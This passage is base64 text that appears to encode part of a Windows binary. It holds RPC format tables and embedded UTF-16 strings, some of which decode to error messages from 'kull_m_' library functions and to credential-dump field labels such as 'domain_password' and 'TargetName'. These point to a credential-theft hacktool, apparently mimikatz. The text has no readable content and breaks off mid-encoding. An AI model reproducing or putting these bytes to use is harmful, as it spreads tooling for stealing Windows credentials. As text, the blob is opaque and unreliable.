ASAAgAHQAIAAFbFQMQAAgGBkwA8f9bEgAYALcIAQAAABAnAAAbAAEACQD8/wEAAlsaAwQA8P8AAEwA4P9cWxEU1v8RBAIAMKAAABEEAgAw4QAAMEEAABEAAgArCSkABAABAAIAHAABAAEAAAAyAP//HQAcAAJbFQAcAEwA9P9cWxsBAgAJV/z/AQAFWxcDOADw/wgITAB0/0wA3P8IWxYDHABLXEZcAAAAABEA4P9GXBQAFAASCCJcWwhMAE7/CAhcWxEAAgArCSkABAABAAIAiAAFAAQAAAAsAQUAAABEAQcAAAByAQgAAACSAQoAAADEAf//FQcYAAsLC1u3CAAAAAAAABAAtwgAAAAAECcAABsAAQAZAAAAAQACWxoDCAAAAAgATADg/zZbEgDk/xoDDAAAAAAACEwA4/9bIQMAABkAAAABAP////8AAEwA4P9cWxoDCAAAAAgATACg/zZbEgDa/7cIAAAAAAAAEAAVBxgATACW/gtbGwcYAAkA+P8BAEwA6v9cWxoHEADs/wAACAhMAND/CFu3CAEAAAAAABAAGwMEAAkA/P8BAAhbGgMMAPD/AAAICEwA3v9cWxoHYAAAABwATABC/kwAPv42QEwAIv82NkwAev8ICAgIXFsRAKr+EgCi/xIAxP+3CAEAAAAAAQAAGgMEACr+AABMAOz/XFsaB3gAAAAOAEwA/P02QEwAqv9cWxEA3P8VBwgAC1sWB2AAS1xGXCAAIAARAFz+RlxAAEAAEgBO/1tMAMv9TADH/QhATACr/ggICAgIQEwAyf9bGgeIAAAAFABMAKr9NkBMAFj/NjZMAOb+XFsRAIT/EgA4/xIANP8aB3AAAAAiAEwAhP1MAID9NkBMAGT+NggICAhATACC/zY2TACy/lxbEQDm/RIA3v4SAAD/EgD8/hoHeAAAACQATABM/UwASP02QEwALP42CAgICEBMAEr/NjZMAHr+CEBcWxEArP0SAKT+EgDG/hIAwv4RDAhcEQACACsJKVQMAAEAAgCQAAUAAQAAABIBAgAAAEoBBgAAANQBBwAAAAwCCQAAAGAC//+3CAAAAAAAABAAtwgAAAAAAACgALcIAAAAAAAAkAEaAwgAAAAIAEwA7P82WxIAvv0hAwAAGQAAAAEA/////wAATADc/1xbGgMIAAAACABMALr/NlsSANr/GgMMAAAAAAAITADj/1shAwAAGQAAAAEA/////wAATADg/1xbGgMIAAAACABMAHr/NlsSANr/GgMQAAAACgA2CEwA4v9cWxIAyPy3CAAAAAAAABAAFQcoAAhAC0wAMfwLXFsbBygACQD4/wEATADm/1xbGgcIAOz/AABMAM7/QFsaAyAAAAAMADZMAKv/CDY2XFsSAOz/EgD2+xIA1v8aB3gAAAAgAEwA5vtMAOL7NkBMAMb8TADC/DZMABv9CAgINghcWxIASvwSAEL9EgCy/xsAAQAZAAQAAQACWxYDDABLXEZcCAAIABIA5v9bCAgIXFu3CAAAAAAAABAAtwgAAAAAAAAQABUHIABMAIL7CwtcWxsHIAAJAPj/AQBMAOj/XFsaBxAA7P8AAAgITADO/whbFQcwAAtMABv/WxoHSAAAABAANghMAH7+CEBMAOT/XFsSALz7IQcAABkAgAABAP////8AAEwA1P9cWxoHkAAAACgATAAY+0wAFPs2QEwA+PtMAPT7NkwATfwICAg2CAgITABe/zYIQFsSAHT7EgCC/xIA3P4SAK7/GgMUAAAAAAAIDUwAJv9cW7cIAAAAAAAAEAAVB0gAC0wAif4ICAhAC1xbGgdgAAAAEAA2CEwA5v0IQEwA3v9cWxIAJPshBwAAGQCAAAEA/////wAATADU/1xbGgeQAAAAKABMAID6TAB8+jZATABg+0wAXPs2TAC1+wgICDYICAhMAI7/NghAWxIA3PoSAOr+EgBE/hIArv8RAAIAKwkpAAQAAQACABwAAQABAAAABAD//xYDHABLXEZcAAAAABEApvpGXAQABAARCCJcWwgITAAT+ghcWxEAAgArCSkABAABAAIAaAACAAEAAAAaAAIAAAA4AP//HQBUAAJbFQBUAEwA9P9cWxYDYABLXEZcAAAAABEAUvpGXAQABAARCCJcWwgITADX/whcWxYDaABLXEZcAAAAABEALvpGXAQABAASACT6RlwIAAgAEgAa+kZcDAAMABEIIlxbCAgICEwAnf8IXFsRAAIAKwkpAAQAAQACAAwAAQABAAAABAD//xYDDABLXEZcAAAAABEA2vlGXAQABAASCCJcWwgICFxbEQACACsJKQAEAAEAAgB4AAEAAQAAAAQA//8WA3gAS1xGXAAAAAARAKD5RlwUABQAEggiXFsITAAO+QhMACH/CAgIXFsRAAIAKwkpAAQAAQACABwAAQABAAAALgD//7cIAQAAABAnAAAbAwQAGQAEAAEAS1xISQQAAAABAAAAAAASAEb5WwhcWxoDHAAAABIACEwAy/82TABE/EwA8vlcWxIAxv8RBAIAKwkpVAwAAQACABQAAQABAAAAJAD//7cIAAAAABAnAAAhAwAAGQAEAAEA/////wAATAAU/FxbGgMUAAAADgAITADV/zZMAKD5XFsSANT/EQACACsJKQAEAAEAAgAUAAEAAQAAADgA//+3CAEAAAAQJwAAtw0BAAAABwAAABsDBAAZAAAAAQBLXEhJBAAAAAEAAAAAABIAivhbCFxbGgMUAAAADgBMAML/NghMAMb/NlsSAMr/EgBq+BEEAgArCSlUDAABAAIAGAABAAEAAABEAP//twgAAAAAECcAALcIAAAAABAnAAAbAwQAGQAEAAEACFsbAwQAGQAIAAEAS1xISQQAAAABAAAAAAASAP73WwhcWxoDGAAAABAACEwAtf9MALv/NjY2XFsSAJb+EgC4/xIAwP8RAAIAKwkpAAQAAQACACAAAgABAAAACgACAAAAdAD//xoDGAAAAAwANjY2TACF+AhcWxIIAlwSANr6EgAu97cIAAAAABAnAAC3CAAAAAAQJwAAGgMMAAAACgBMAOz/CDZcWxIADPghAwAAGQAEAAEA/////wAATADa/1xbGgMMAAAACgAITAC3/zZcWxIA2P8aAyAAAAAOADY2NjY2TAAT+AhcWxIARvcSAGj6EgA+9xIAOvcSAMb/EQQCACsJKVQMAAEAAgAQAAIAAQAAAA4AAgAAACAA//8SADj6GgMQAAAACgA2TADL9zZcWxIQ6v8SCAhcFgMIAEtcRlwEAAQAEgDq9lsICFsRAAIAKwkpAAQAAQACABAAAQABAAAAGgD//7cIAAAAAAAAoAAbAAEAGQAIAAEAAlsaAxAAAAAKAAgITADe/zZbEgDi/xEAAgArCSlUDAABAAIASAABAAEAAAA2AP//twgAAAAAAACgALcIAAAAAAAAoAAVBzAATAD890wA+PdMAPT3TADw90wA7PdMAOj3XFsaB0gAAAAUAEwAxP9MAMr/TADQ/wg2NkBcWxIAvPYSAPT5EQACACsJKQAEAAEAAgAcAAEAAQAAAC4A//+3CAEAAAAQJwAAGwMEABkAFAABAEtcSEkEAAAAAQAAAAAAEgglXFsIXFsaAxwAAAAOAAgICAgITADH/zZcWxIAyv8RBAIAKwkpVAwAAQACAAQAAQABAAAAYgD//xYDDABLXEZcBAAEABIIJVxGXAgACAASCCVcWwgICFxbGwMMABkAAAABAEtcSEkMAAAAAgAEAAQAEgglXAgACAASCCVcW0wAuf9bFgMIAEtcRlwEAAQAEgDI/1sICFsWAwQAS1xGXAAAAAASAN7/WwhcWxEAAgArCSkABAABAAIAFAABAAEAAAAuAP//twgAAAAAECcAABsDBAAZAAwAAQBLXEhJBAAAAAEAAAAAABIIJVxbCFxbGgMUAAAADAAICDZMAMn/NlxbEgglXBIAyP8RBAIAKwkpVAwAAQACAAQAAQABAAAABAD//xUDBAAIWxEAAgArCSkABAABAAIADAABAAEAAAAEAP//FgMMAEtcRlwAAAAAEgglXEZcBAAEABIIJVxbCAgIXFsRBAIAKwkpVAwAAQACAAQAAQABAAAAqv///xEAAgArCSkABAABAAIABAABAAEAAAAEAP//FgMEAEtcRlwAAAAAEgglXFsIXFsRBAIAKwkpVAwAAQACAAQAAQABAAAAYv///xEAAgArCSkABAABAAIACAABAAEAAAAEAP//FgMIAEtcRlwAAAAAEgglXFsICFsRBAIAKwkpVAwAAQACAAgABAABAAAApAACAAAAdAEDAAAARgL/////mAL//7cIAAAAABAnAAAWAxwAS1xGXAAAAAASCCVcRlwEAAQAEgglXEZcCAAIABIIJVxGXAwADAASCCVcRlwQABAAEgglXFsICAgICAgIXFsbAxwAGQAAAAEAS1xISRwAAAAFAAAAAAASCCVcBAAEABIIJVwIAAgAEgglXAwADAASCCVcEAAQABIIJVxbTAB//1saAwgAAAAIAEwAaP82WxIArv+3CAAAAAAQJwAAFgNoAEtcRlwAAAAAEgglXEZcBAAEABIIJVxGXAgACAASCCVcRlwMAAwAEgglXEZcEAAQABIIJVxGXBQAFAASCCVcRlwYABgAEgglXFsICAgICAgICAgITABR8kwATfJMAEnyTABF8lsbA2gAGQAAAAEAS1xISWgAAAAHAAAAAAASCCVcBAAEABIIJVwIAAgAEgglXAwADAASCCVcEAAQABIIJVwUABQAEgglXBgAGAASCCVcW0wASf9bGgMIAAAACABMADL/NlsSAJ7/twgAAAAAECcAABYDbABLXEZcAAAAABIIJVxGXAQABAASCCVcRlwIAAgAEgglXEZcDAAMABIIJVxGXBAAEAASCCVcRlwUABQAEgglXEZcGAAYABIIJVxbCAgICAgICAgICAhMAHrxTAB28UwAcvFMAG7xXFsbA2wAGQAAAAEAS1xISWwAAAAHAAAAAAASCCVcBAAEABIIJVwIAAgAEgglXAwADAASCCVcEAAQABIIJVwUABQAEgglXBgAGAASCCVcW0wAR/9bGgMIAAAACABMADD/NlsSAJ7/twgAAAAAECcAABYDHABLXEZcGAAYABIIJVxbCAgICAgICFxbGwMcABkAAAABAEtcSEkcAAAAAQAYABgAEgglXFtMAMf/WxoDCAAAAAgATACw/zZbEgDO/xEAAgArCSkABAABAAIAGAADAAEAAAAQAAIAAAAuAAMAAAA2AP//GgMMAAAACAA2TAAT9FsRAPrwGgMUAAAACAA2TAAT9FsSAPD/GgMUAAAAAABMAOT/XFsaAxgAAAAIAEwA1v82WxIAWPkRAAIAKwkpVAwAAQACAEAAAwABAAAAEAACAAAASgADAAAAxAH//xoDQAAAAAAATAAU8EwAfPAICAgIBj5cW7cIAAAAABAnAAAVAywATAD270wAXvBcWxsDLAAZABgAAQBMAOb/XFsaAyAAAAAQADYICAgIBj5MAMf/NlxbEgBI8BIA1P+3CAAAAAAQJwAAKwkZAAQAAQACAAwAAQABAAAAIAH//ysJGQAEAAEAAgAsAAcAAQAAAE4AAgAAAFwAAwAAAOAABAAAAOoABQAAAOQABgAAAN4ABwAAANgA//8aAyAAAAAAAAgICAY+CAhMAI3yWxoDJAAAAAgANkwA4f9bEgDw/xoDLAAAAAoANghMAOL/XFsSALDvFgMUAEtcRlwQABAAEgCg71sICAgGPghbFQEEAAICBlscAQIAF1UCAAEAF1UAAAEABVsWAwgAS1xGXAQABAASAOD/WwYGCFxbFgMIAEtcRlwAAAAAEgDy/0ZcBAAEABIA0v9bCAhbGgMgAAAAEgA2TACn/wYGBgY2NggCP1xbEgAu7xIAxP8SAN7/GgMsAAAAAAAICAhMAM//WxoDEAAAAAAACAgIBj5bFgMMAEtcRlwIAAgAEgDW/lsICAhcWxsDLAAZAAwAAQBMAGb+XFsaAxQAAAAMADYINkwAkf42XFsSAMzuEgCQ/hIA1P8RAAIAKwkpAAQAAQACAAgAAQABAAAABAD//xUDCAAICFxbEQACACsJKQAEAAEAAgAoAAIAAQAAAAoAAgAAABwA//8WAxgAS1xGXAQABAASCCVcWwgITADp7VsWAygAS1xGXAQABAASCCVcRlwcABwAEgglXEZcIAAgABIIJVxbCAhMAL3tCAgICFsRBAIAKwkpVAwAAQACAAQADwAAAAAAWAABAAAA7AACAAAA9AADAAAAPAEEAAAANgEFAAAAfgEGAAAAyAEHAAAAQAIIAAAAZgIJAAAAngIKAAAA3gL6////MgP7////dAP8////cgP+////BAD//xIAZAAWB4AAS1xGXAAAAAASCCVcRlwEAAQAEgglXEZcCAAIABIIJVxGXAwADAASCCVcWwgICAgICEwADe1MAAntTAAF7UwAAe0LC0wA1f5MANH+CAhbGweAAAkA+P8BAEwAov9cWxgHCADs/0tcSEmAAAgABAAIAAgAEgglXAwADAASCCVcEAAQABIIJVwUABQAEgglXFsICFsSAAIAFwcIABTuCAhcWxIAMAAWBzAAS1xGXAAAAAASCCVcWwgITABh/kwAg+wLC1sbBzAACQD4/wEATADW/1xbGAcIAOz/S1xISTAACAABAAgACAASCCVcWwgIWxIAMAAWAyQAS1xGXAAAAAASCCVcWwhMADrsTAAQ/ggIXFsbAyQACQD4/wEATADW/1xbGAMIAOz/S1xISSQACAABAAgACAASCCVcWwgIWxIAQAAaA0QAAAAWAEwA0P0ICA0INjY2TADr60wA5+tbEgglXBIIJVwSCCVcIQMAAAkA/P8BAP////8AAEwAxv9cWxoDDADm/wAATACS/QhbEgBQABYHUABLXEZcAAAAABIIJVxGXAQABAASCCVcRlwMAAwAFABQ9VsICAgITABf/UwAW/0ITABW/UwAeOtACwtbGwdQAAkA+P8BAEwAtv9cWxgHCADs/0tcSElQAAgAAwAIAAgAEgglXAwADAASCCVcFAAUABQA/vRbCAhbEgAgABUHIABMACzrC0wAAf1bGwcgAAkA+P8BAEwA5v9cWxcHCADs/wgIXFsSADAAGgcoAAAADgBMAPzqC0wA0fw2QFsSCCVcIQcAAAkA+P8BAP////8AAEwA1v9cWxoHCADm/wAACAhcWxIAOAAaBzgAAAASADYITACW/EwAuOoLCzZAXFsSCCVcEgglXCEHAAAJAPj/AQD/////AABMAM7/XFsaBwgA5v8AAAgIXFsSAEwAGgdYAAAAHgA2Ngg2TABO/EwASvwITABF/EwAZ+pACws2QFxbEgglXBIIJVwUABb0EgglXCEHAAAJAPj/AQD/////AABMALr/XFsaBwgA5v8AAAgIXFsSADgAtwgAAAAAAAEAABoHKAAAAAwANggICAgICwhAWxIIJVwhBwAACQD4/wEA/////wAATADY/1xbGgcIAOb/AABMAMD/CFsSAGDrEgAsALcIAAAAABAnAAAVBzAACwgITADJ6QsICFxbGwcwAAkA+P8BAEwA5P9cWxoHCADs/wAATADM/whbEQACACsJKQAEAAEAAgAwAAEAAQAAAEYA//+3CAAAAAAAAQAAtwgAAAAAAAEAALcIAAAAAAABAAAbAQIAGQAQAAEABVsbAQIAGQAYAAEABVsbAQIAGQAgAAEABVsaAzAAAAAYAAg2NjZMALD/NkwAtf82TAC6/zY2NlsSCCVcEgglXBQIJVwSALD/EgC4/xIAwP8SCCVcEgglXBEEAgArCSlUDAABAAIABAABAAEAAACk9P//EQACACsJKQAEAAEAAgAIAAEAAQAAACQA//+3CAEAAAAQJwAAIQMAABkAAAABAP////8AAEwAuPBcWxoDCAAAAAgATADW/zZbEgDa/xEEAgArCSlUDAABAAIACAABAAEAAAAkAP//twgAAAAAECcAACEDAAAZAAAAAQD/////AABMAOLwXFsaAwgAAAAIAEwA1v82WxIA2v8RAAIAKwkpAAQAAQACABgAAQABAAAABAD//xYDGABLXEZcAAAAABEAsuhbCEwAKugIWxEAAgArCSkABAABAAIALAABAAEAAAAKAP//HQAQAAJbFgMsAEtcRlwUABQAEgB66EZcGAAYABIAbOlbTADp5wgICEwA1v9cWxEEAgArCSlUDAABAAIADAABAAEAAAAeAP//twgAAAAAAACgABsDEAAZAAQAAQBMAK7nXFsaAwwAAAAKAAhMANv/NlxbEgDe/xEAAgArCSkABAABAAIAEAABAAEAAAAuAP//twgBAAAAECcAABsDBAAZAAQAAQBLXEhJBAAAAAEAAAAAABIIJVxbCFxbGgMQAAAACgA2TADL/zYIWxIIJVwSAMr/EQQCACsJKVQMAAEAAgAMAAEAAQAAAB4A//+3CAAAAAAQJwAAGwMIABkAAAABAEwA5PhcWxoDDAAAAAoATADc/zYIXFsSAN7/EQACACsJKQAEAAEAAgAEAAEAAQAAAIzy//8RBAIAKwkpVAwAAQACAAQAAQABAAAAcvL//xEAAgArCSkABAABAAIAGAABAAEAAAAEAP//FgMYAEtcRlwUABQAEQAY51sITACQ5ghbEQQCACsJKVQMAAEAAgAEAAEAAQAAACby//8RAAIAKwkpAAQAAQACABgAAQABAAAABAD//xYDGABLXEZcFAAUABIIJVxbCEwAROYIWxEEAgArCSlUDAABAAIADAABAAEAAAAEAP//FQMMAAgICFsRAAIAKwkpAAQAAQACAAgAAQABAAAABAD//xYDCABLXEZcAAAAABIIJVxGXAQABAASCCVcWwgIWxEEAgArCSlUDAABAAIAEAABAAEAAAAaAP//twgAAAAAAAQAABsBAgAZAAgAAQAFWxoDEAAAAAoANjZMAN7/NlsSCCVcEgglXBIA2v8RAAIAKwkpAAQAAQACAAwAAQABAAAADgD//7cIAAAAAP//AAAaAwwAAAAKADZMAOv/NlxbEgglXBIAoukRBAIAKwkpVAwAAQACAAQAAQABAAAA+PD//xEAAgArCSkABAABAAIABAABAAEAAABS8f//EQQCACsJKVQMAAEAAgAMAAEAAQAAAA4A//+3CAAAAAD//wAAGgMMAAAACgAITADr/zZcWxIANukRAAIAKwkpAAQAAQACAAQAAQABAAAAjPD//xEEAgArCSlUDAABAAIAIAABAAEAAAA6AP//twgAAAAAAAQAALcIAAAAAAAAoAC3CAAAAAAAAKAAGwABABkAEAABAAJbGwABABkAGAABAAJbGgMgAAAAFAAINkwAvv82TADD/zZMAMj/NlsSCCVcEgAq7hIAxP8SAMz/EQACACsJKQAEAAEAAgAMAAEAAQAAAA4A//+3CAEAAAAABAAAGgMMAAAACgAITADr/zZcWxIAaugRBAIAKwkpVAwAAQACAAgAAQABAAAABAD//xYDCABLXEZcBAAEABIIJVxbCAhbAAAAADoAZACaANwAEg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BSAE8AUgAgAGsAdQBsAGwAXwBtAF8AYgB1AHMAeQBsAGkAZwBoAHQAXwBkAGUAdgBpAGMAZQBzAF8AZwBlAHQAIAA7ACAASABpAGQAUABfAEcAZQB0AEMAYQBwAHMAIAAoACUAMAA4AHgAKQAKAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBsAGwAXwBtAF8AYgB1AHMAeQBsAGkAZwBoAHQAXwBkAGUAdgBpAGMAZQBzAF8AZwBlAHQAIAA7ACAAQwByAGUAYQB0AGUAVABoAHIAZQBhAGQAIAAoAGgASwBlAGUAcABBAGwAaQB2AGUAVABoAHIAZQBhAGQAKQAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAABFAFIAUgBPAFIAIABrAHUAbABsAF8AbQBfAGIAdQBzAHkAbABpAGcAaAB0AF8AZABlAHYAaQBjAGUAcwBfAGcAZQB0ACAAOwAgAEMAcgBlAGEAdABlAEYAaQBsAGUAIAAoAGgAQgB1AHMAeQApACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAAAARQBSAFIATwBSACAAawB1AGwAbABfAG0AXwBiAHUAcwB5AGwAaQBnAGgAdABfAGQAZQB2AGkAYwBlAHMAXwBnAGUAdAAgADsAIABDAHIAZQBhAHQAZQBGAGkAbABlACAAKABkAGUAdgBpAGMAZQBIAGEAbgBkAGwAZQApACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAbABsAF8AbQBfAGIAdQBzAHkAbABpAGcAaAB0AF8AZABlAHYAaQBjAGUAcwBfAGcAZQB0ACAAOwAgAFMAZQB0AHUAcABEAGkARwBlAHQAQwBsAGEAcwBzAEQAZQB2AHMAIAAoADAAeAAlADAAOAB4ACkACgAAAAAARQBSAFIATwBSACAAawB1AGwAbABfAG0AXwBiAHUAcwB5AGwAaQBnAGgAdABfAHIAZQBxAHUAZQBzAHQAXwBjAHIAZQBhAHQAZQAgADsAIABjAG8AdQBuAHQAPQAlAHUAIAAoAG0AYQB4ACAAaQBzACAANwApAAoAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAbABsAF8AbQBfAGIAdQBzAHkAbABpAGcAaAB0AF8AZABlAHYAaQBjAGUAXwBzAGUAbgBkAF8AcgBhAHcAIAA7ACAAWwBkAGUAdgBpAGMAZQAgACUAdQBdACAAVwByAGkAdABlAEYAaQBsAGUAIAAoADAAeAAlADAAOAB4ACkACgAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBsAGwAXwBtAF8AYgB1AHMAeQBsAGkAZwBoAHQAXwBkAGUAdgBpAGMAZQBfAHMAZQBuAGQAXwByAGEAdwAgADsAIABbAGQAZQB2AGkAYwBlACAAJQB1AF0AIABTAGkAegBlACAAaQBzACAAbgBvAHQAIAB2AGEAbABpAGQAZQAgACgAcwBpAHoAIAA9ACAAJQB1ACwAIABtAGEAeAAgAD0AIAAlAHUAKQAKAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBsAGwAXwBtAF8AYgB1AHMAeQBsAGkAZwBoAHQAXwBkAGUAdgBpAGMAZQBfAHMAZQBuAGQAXwByAGEAdwAgADsAIABbAGQAZQB2AGkAYwBlACAAJQB1AF0AIABJAG4AdgBhAGwAaQBkACAARABlAHYAaQBjAGUALwBCAHUAcwB5ACAASABhAG4AZABsAGUACgAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBsAGwAXwBtAF8AYgB1AHMAeQBsAGkAZwBoAHQAXwBkAGUAdgBpAGMAZQBfAHIAZQBhAGQAXwByAGEAdwAgADsAIABbAGQAZQB2AGkAYwBlACAAJQB1AF0AIABSAGUAYQBkAEYAaQBsAGUAIAAoADAAeAAlADAAOAB4ACkACgAAAEUAUgBSAE8AUgAgAGsAdQBsAGwAXwBtAF8AYgB1AHMAeQBsAGkAZwBoAHQAXwBkAGUAdgBpAGMAZQBfAHIAZQBhAGQAXwByAGEAdwAgADsAIABbAGQAZQB2AGkAYwBlACAAJQB1AF0AIAAlAHUAIABiAHkAdABlACgAcwApACAAcgBlAGEAZABlAGQALAAgACUAdQAgAHcAYQBuAHQAZQBkAAoAAAAAAEUAUgBSAE8AUgAgAGsAdQBsAGwAXwBtAF8AYgB1AHMAeQBsAGkAZwBoAHQAXwBkAGUAdgBpAGMAZQBfAHIAZQBhAGQAXwByAGEAdwAgADsAIABbAGQAZQB2AGkAYwBlACAAJQB1AF0AIABJAG4AdgBhAGwAaQBkACAARABlAHYAaQBjAGUALwBCAHUAcwB5ACAASABhAG4AZABsAGUACgAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBsAGwAXwBtAF8AYgB1AHMAeQBsAGkAZwBoAHQAXwBkAGUAdgBpAGMAZQBfAHIAZQBhAGQAXwBpAG4AZgBvAHMAIAA7ACAAWwBkAGUAdgBpAGMAZQAgACUAdQBdACAAZABhAHQAYQBbADAAXQAgAGkAcwAgAG4AbwB0ACAATgBVAEwATAAgACgAMAB4ACUAMAAyAHgAKQAKAAAAAABlAG4AdABlAHIAcAByAGkAcwBlAAAAAABsAG8AYwBhAGwAXwBtAGEAYwBoAGkAbgBlAAAAcwBlAHMAcwBpAG8AbgAAAG4AbwBuAGUAAAAAAGQAbwBtAGEAaQBuAF8AZQB4AHQAZQBuAGQAZQBkAAAAZwBlAG4AZQByAGkAYwBfAGMAZQByAHQAaQBmAGkAYwBhAHQAZQAAAGQAbwBtAGEAaQBuAF8AdgBpAHMAaQBiAGwAZQBfAHAAYQBzAHMAdwBvAHIAZAAAAGQAbwBtAGEAaQBuAF8AYwBlAHIAdABpAGYAaQBjAGEAdABlAAAAAABkAG8AbQBhAGkAbgBfAHAAYQBzAHMAdwBvAHIAZAAAAGcAZQBuAGUAcgBpAGMAAAA/AAAAAAAAACUAKgBzACoAKgBDAFIARQBEAEUATgBUAEkAQQBMACoAKgAKAAAAAAAAAAAAJQAqAHMAIAAgAGMAcgBlAGQARgBsAGEAZwBzACAAIAAgACAAIAAgADoAIAAlADAAOAB4ACAALQAgACUAdQAKAAAAAAAAAAAAJQAqAHMAIAAgAGMAcgBlAGQAUwBpAHoAZQAgACAAIAAgACAAIAAgADoAIAAlADAAOAB4ACAALQAgACUAdQAKAAAAAAAAAAAAJQAqAHMAIAAgAGMAcgBlAGQAVQBuAGsAMAAgACAAIAAgACAAIAAgADoAIAAlADAAOAB4ACAALQAgACUAdQAKAAoAAAAAAAAAJQAqAHMAIAAgAFQAeQBwAGUAIAAgACAAIAAgACAAIAAgACAAIAAgADoAIAAlADAAOAB4ACAALQAgACUAdQAgAC0AIAAlAHMACgAAAAAAAAAlACoAcwAgACAARgBsAGEAZwBzACAAIAAgACAAIAAgACAAIAAgACAAOgAgACUAMAA4AHgAIAAtACAAJQB1AAoAAAAAACUAKgBzACAAIABMAGEAcwB0AFcAcgBpAHQAdABlAG4AIAAgACAAIAA6ACAAAAAAAAoAAAAlACoAcwAgACAAdQBuAGsARgBsAGEAZwBzAE8AcgBTAGkAegBlACAAOgAgACUAMAA4AHgAIAAtACAAJQB1AAoAAAAAAAAAAAAlACoAcwAgACAAUABlAHIAcwBpAHMAdAAgACAAIAAgACAAIAAgACAAOgAgACUAMAA4AHgAIAAtACAAJQB1ACAALQAgACUAcwAKAAAAAAAAACUAKgBzACAAIABBAHQAdAByAGkAYgB1AHQAZQBDAG8AdQBuAHQAIAA6ACAAJQAwADgAeAAgAC0AIAAlAHUACgAAAAAAAAAAACUAKgBzACAAIAB1AG4AawAwACAAIAAgACAAIAAgACAAIAAgACAAIAA6ACAAJQAwADgAeAAgAC0AIAAlAHUACgAAAAAAAAAAACUAKgBzACAAIAB1AG4AawAxACAAIAAgACAAIAAgACAAIAAgACAAIAA6ACAAJQAwADgAeAAgAC0AIAAlAHUACgAAAAAAJQAqAHMAIAAgAFQAYQByAGcAZQB0AE4AYQBtAGUAIAAgACAAIAAgADoAIAAlAHMACgAAACUAKgBzACAAIABVAG4AawBEAGEAdABhACAAIAAgACAAIAAgACAAIAA6ACAAJQBzAAoAAAAlACoAcwAgACAAQwBvA